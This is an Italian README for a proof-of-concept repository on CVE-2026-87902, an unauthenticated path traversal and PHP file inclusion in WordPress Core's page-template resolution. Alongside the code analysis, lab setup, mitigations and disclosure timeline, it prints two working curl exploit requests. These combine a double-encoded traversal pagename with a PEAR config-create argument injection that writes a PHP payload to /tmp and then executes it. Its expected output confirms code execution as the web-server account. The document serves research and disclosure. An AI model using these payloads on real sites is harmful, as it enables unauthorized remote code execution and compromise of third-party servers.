
PoC per CVE-2026-87902 — path traversal non autenticato nella risoluzione dei page-template di WordPress (inclusione PHP locale, RCE condizionale) con un lab vulnerabile bloccato
Inclusione locale non autenticata di file PHP in WordPress Core tramite un valore
pagename con doppia codifica — e, in specifiche condizioni di deployment,
esecuzione di codice PHP con i privilegi dell'account del web server.
| CVE | CVE-2026-87902 |
| Avviso del fornitore | GHSA-7hp8-65ch-5whp |
| Write-up | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| Affetto | WordPress Core 4.7.0 – 7.1.1 (ogni branch, secondo gli intervalli per branch dell'avviso); riprodotto dinamicamente su 7.0.2 |
| Corretto | 7.1.2 (branch 7.1), 7.0.6 (branch 7.0) e un backport per ogni branch fino a 4.7.37 (secondo l'avviso) |
| Debolezze | CWE-98 (controllo improprio del nome file nell'include), CWE-22 / CWE-23 (path traversal) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (supplementare) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| Autenticazione | nessuna — nessun account, cookie, nonce, sessione, plugin o richiesta in uscita |
| Interazione utente | nessuna |
| Autore | Robert Ressl — ressl.ch |
| PoC verificato | 2026-09-22 contro il lab in questo repository — vedi Risultati verificati |
WordPress risolve un template di Pagina attraverso una catena che non dimostra mai che il file selezionato rimanga all'interno di una root del tema:
pagename e page_id sono variabili di query pubbliche che WP::parse_request()
accetta da un corpo POST anonimo.pagename sopravvive alla sanitizzazione
iniziale della query come ottetti %xx con escape (wp_basename() non riesce a
vedere %2f come separatore, e sanitize_title_with_dashes() mantiene
deliberatamente gli ottetti validi).page_id valido seleziona poi una Pagina pubblicata reale, mentre il
pagename malevolo rimane nell'oggetto query.get_page_template() chiama successivamente urldecode() su quel valore e
aggiunge un candidato come page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
alla gerarchia dei template.locate_template() e il loader finale del template controllano solo l'esistenza,
la leggibilità e il suffisso .php/.html — mai che il percorso canonico sia
ancora all'interno di una root del tema consentita — e poi lo include.Questo è una primitiva di inclusione locale di file remota non autenticata in
WordPress Core. Sul runtime ufficiale testato (wordpress:php8.3-apache, che
include PEAR e non carica alcun php.ini, quindi register_argc_argv è On),
l'inclusione è stata concatenata attraverso pearcmd.php di PEAR: una prima
richiesta anonima fa sì che config-create scriva PHP controllato dall'attaccante
in /tmp, una seconda richiesta anonima include quel file e lo esegue come
www-data.
La mancata contenimento del percorso in Core è la vulnerabilità. PEAR è solo una via dipendente dall'ambiente dall'inclusione all'esecuzione di codice — non è una dipendenza di WordPress e non è presente o utilizzabile in ogni deployment.
Posizioni del codice verificate (WordPress 7.0.2):
| # | Posizione | Ruolo |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename e page_id sono query var pubbliche e vengono lette da $_POST |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f non è un separatore per wp_basename() |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() preserva gli ottetti %xx validi invece di rimuoverli |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — il traversal diventa attivo dopo la sanitizzazione |
| 5 | wp-includes/template.php:722-736 | locate_template() concatena il candidato sotto ogni root del tema e chiama solo file_exists() |
| 6 | wp-includes/template-loader.php:116-132 | realpath() normalizza il percorso, poi include viene eseguito senza alcun controllo canonico di contenimento nella root |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() ritorna anticipatamente per richieste non-GET/HEAD, quindi un POST non viene canonicalizzato via |
La primitiva di inclusione standalone necessita di:
| # | Precondizione | Motivo |
|---|---|---|
| 1 | Una Pagina pubblicata, raggiungibile anonimamente, selezionata tramite page_id numerico | la pagina deve essere restituita dalla query dopo che la ricerca del pathname fallisce |
| 2 | Nessun template di pagina personalizzato risolvibile in precedenza | un template valido assegnato è ordinato prima del candidato malevolo |
| 3 | Una directory di primo livello nel tema attivo (child o parent) il cui nome inizia con page-, ad es. page-templates/ | WordPress antepone il prefisso fisso page-, quindi un traversal .. non può iniziare dalla posizione 0; la directory deve solo esistere ed essere attraversabile — non deve essere scrivibile |
| 4 | Un file .php locale selezionato che esiste ed è leggibile dall'utente PHP | il loader controlla is_file()/is_readable() e richiede un suffisso .php |
| 5 | Nessun confinamento del filesystem che blocchi quel file | un open_basedir o una policy MAC possono impedire l'include |
La fase PEAR dimostrata necessita inoltre di un pearcmd.php leggibile (più le sue
dipendenze), register_argc_argv=On per il SAPI web, e una directory di output
scrivibile. I file php.ini di produzione impostano register_argc_argv=Off;
l'immagine testata non carica alcun php.ini, quindi si è applicato il default
compilato (On). Questo è un limite importante sulla prevalenza della catena di
esecuzione di codice dimostrata.
I temi inclusi Twenty Twenty-Three/Four/Five non forniscono nessuna directory
page-* di primo livello, quindi il lab stock necessita del fixture descritto di
seguito. I temi personalizzati possono legittimamente usare un layout
page-templates/
(documentazione WordPress).
L'avviso registra dove queste condizioni si verificano nel software distribuito: la
condizione del tema è soddisfatta dai temi legacy Twenty Twelve e Twenty Fourteen e
da temi di terze parti come Neve, Hestia e Sydney, mentre la transizione PEAR si
applica all'immagine Docker ufficiale di PHP e alle configurazioni cPanel
predefinite che eseguono PHP precedente alla 8.5. (Twenty Twelve e Twenty Fourteen
includono entrambi una directory page-templates/ di primo livello; le restanti
affermazioni sono dell'avviso.) Questo repository non misura quanto spesso si
applichi la catena completa.
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + il fixture page-*, installato e pronto
python3 cve-2026-87902.py # due POST anonimi, stampa il marker di prova
cve-2026-87902.py richiede Python 3.6+ (solo libreria standard) e raggiunge il lab
su http://127.0.0.1:8091 per impostazione predefinita. Output atteso:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
Il codice di uscita è 0 in caso di successo e 1 altrimenti, quindi il PoC
funziona anche come controllo di regressione/rilevamento.
Teardown: docker compose down -v.
Eseguito il 2026-09-22 contro questo lab (Docker 29.4, OrbStack, Apple silicon):
| Controllo | Risultato |
|---|---|
| Fase 1 | HTTP 200; /tmp/wp-pear-rce-flag.php scritto come www-data:www-data, mode 0644, 1219 byte |
| SHA-256 del payload | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — identico all'hash registrato nel report originale |
| Fase 2 | HTTP 200; il PHP iniettato ha stampato l'artefatto di prova mode-0444 |
| Occorrenze del marker | 12 (PEAR serializza il valore root controllato in 12 voci di configurazione) |
| Credenziali usate | nessuna — nessun header Cookie o Authorization in alcuna richiesta |
| Controllo negativo | page-templates/ rimosso → la fase 2 restituisce la pagina normale, nessun marker, codice di uscita 1 |
L'artefatto di prova è /flag, di proprietà di root e leggibile da tutti
(root:root, mode 0444) all'interno del container. Dimostra l'esecuzione di PHP
e l'accesso ai file come l'account del web server; non è un obiettivo di
privilege escalation.
Due POST anonimi. I valori di routing di WordPress viaggiano nel corpo del form,
gli argomenti PEAR nella query string grezza (PHP divide la query string grezza sul
carattere letterale + in argv e non decodifica URL i singoli argomenti):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
Fase 1 — include pearcmd.php e scrive il payload:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
Fase 2 — include il file generato ed esegue il suo PHP:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
Dettagli che contano:
templates%2f%2e%2e%2f...; il sanitizer mantiene quegli ottetti, e solo la
urldecode() tardiva di get_page_template() li trasforma in / e ...page-. WordPress antepone page- al valore, quindi la directory
fixture page-templates/ corrisponde al segmento iniziale templates..php forzato. Il candidato è page-<decoded>.php, motivo per cui
il target è indicato senza suffisso (.../pearcmd, /tmp/wp-pear-rce-flag).POST, non GET. redirect_canonical() salta le richieste non-GET/HEAD, e
il corpo del form consente alla query string di trasportare solo gli argomenti
PEAR.wp_magic_quotes() viene eseguito anche su
$_SERVER, quindi l'argv costruito dal server viene sottoposto a escape e PEAR
normalizza successivamente i backslash. Il payload verificato usa chr() e non
contiene caratteri di virgoletta. (Si riduce a
<?=file_get_contents('/flag')?>.)config-create. PEAR rifiuta una root relativa
(Root directory must be an absolute path beginning with "/"), quindi il payload
viene iniettato come la root path stessa.cve-2026-87902.py percorre i segmenti .. finché il traversal
raggiunge il target (7 per il layout di questo lab, --depth per fissarlo).lab/up.sh esegue tre passaggi ed è sicuro da rieseguire:
docker compose up -d --build --wait — wordpress:7.0.2-php8.3-apache fissato
più mysql:8.4, porta 127.0.0.1:8091 (solo loopback).admin / adminadmin) se il sito non è ancora
installato.wp-content/themes/twentytwentyfive/page-templates/, root:root, mode
0755, vuoto.L'immagine del lab aggiunge esplicitamente register_argc_argv=On
(lab/Dockerfile) invece di affidarsi al default compilato, e include /flag
(root:root, mode 0444, contenuto CVE-2026-87902-POC-OK).
| Componente | Valore |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33, modulo Apache |
| PEAR | 1.10.18 in /usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| Tema | Twenty Twenty-Five + fixture page-templates/ vuoto di proprietà di root |
| Pagina target | Sample Page pubblicata, ID 2, template predefinito |
| Artefatto di prova | /flag, root:root, mode 0444 |
Il tag rolling
wordpress:php8.3-apachenon è utilizzabile per questo lab: il bug è corretto nella 7.1.2 e un tag non fissato trasforma silenziosamente il lab in uno patchato.
Controlli verificati o documentati:
page-* di primo livello nel tema → il prefisso fisso non può
essere rimosso e il traversal non inizia mai (verificato: fixture rimosso →
nessun marker).register_argc_argv=Off → nessun writer PEAR, ma la primitiva di inclusione
rimane... → target non raggiunto (verificato: le profondità
1-6 e 8-12 non producono alcun marker nel lab)./flag) non può essere letto direttamente — al
candidato viene aggiunto .php.<, >, = nel request target
rompe il canale degli argomenti PEAR (specifico del deployment).open_basedir/MAC o una directory di output non scrivibile
rompono la catena; noexec su /tmp no (PHP legge e interpreta il file).Questo PoC riproduce una configurazione verificata. Non afferma che ogni installazione WordPress sia sfruttabile, e non misura la prevalenza.
validate_file()), e prima
di includere un template localizzato, confrontare realpath() del candidato e
della root del tema con un separatore di directory finale.register_argc_argv=Off per i SAPI
web, rimuovere dalle immagini di produzione i punti di ingresso PEAR inutilizzati
e leggibili dal web, verificare i temi child e parent per directory page-* di
primo livello, e limitare l'accesso in scrittura per l'account PHP.| Percorso | Scopo |
|---|---|
cve-2026-87902.py | exploit: rilevamento pagina, entrambe le fasi, gestione profondità, verifica marker |
lab/up.sh | porta il lab nello stato esatto che l'exploit si aspetta (idempotente) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4, porta solo loopback |
lab/Dockerfile | fissa la release vulnerabile, imposta register_argc_argv=On, include /flag |
lab/flag | contenuto dell'artefatto di prova |
| Data | Evento |
|---|---|
| 2026-07-20 | Segnalato privatamente tramite il programma HackerOne di WordPress |
| 2026-07-21 | Ricezione confermata |
| 2026-09-15 | Informato che una correzione era pianificata per una release imminente; richiesti dettagli di attribuzione |
| 2026-09-22 | WordPress 7.1.2 rilasciato con la correzione; pubblicato l'avviso GHSA-7hp8-65ch-5whp |
Il report è stato accettato come finding di sicurezza valido dopo che la sua classificazione iniziale è stata rivista; la corrispondenza non data tale accettazione.
Questo repository è pubblicato per scopi difensivi e di ricerca. Usalo solo contro
sistemi che possiedi o che sei esplicitamente autorizzato a testare. Il lab è
vincolato a 127.0.0.1 e non deve essere esposto a reti non attendibili.
MIT — vedi LICENSE. I metadati di citazione si trovano in CITATION.cff:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
Il report della vulnerabilità e questo PoC sono stati preparati con l'assistenza dell'IA per l'organizzazione e la revisione della coerenza; il ricercatore è responsabile delle affermazioni tecniche.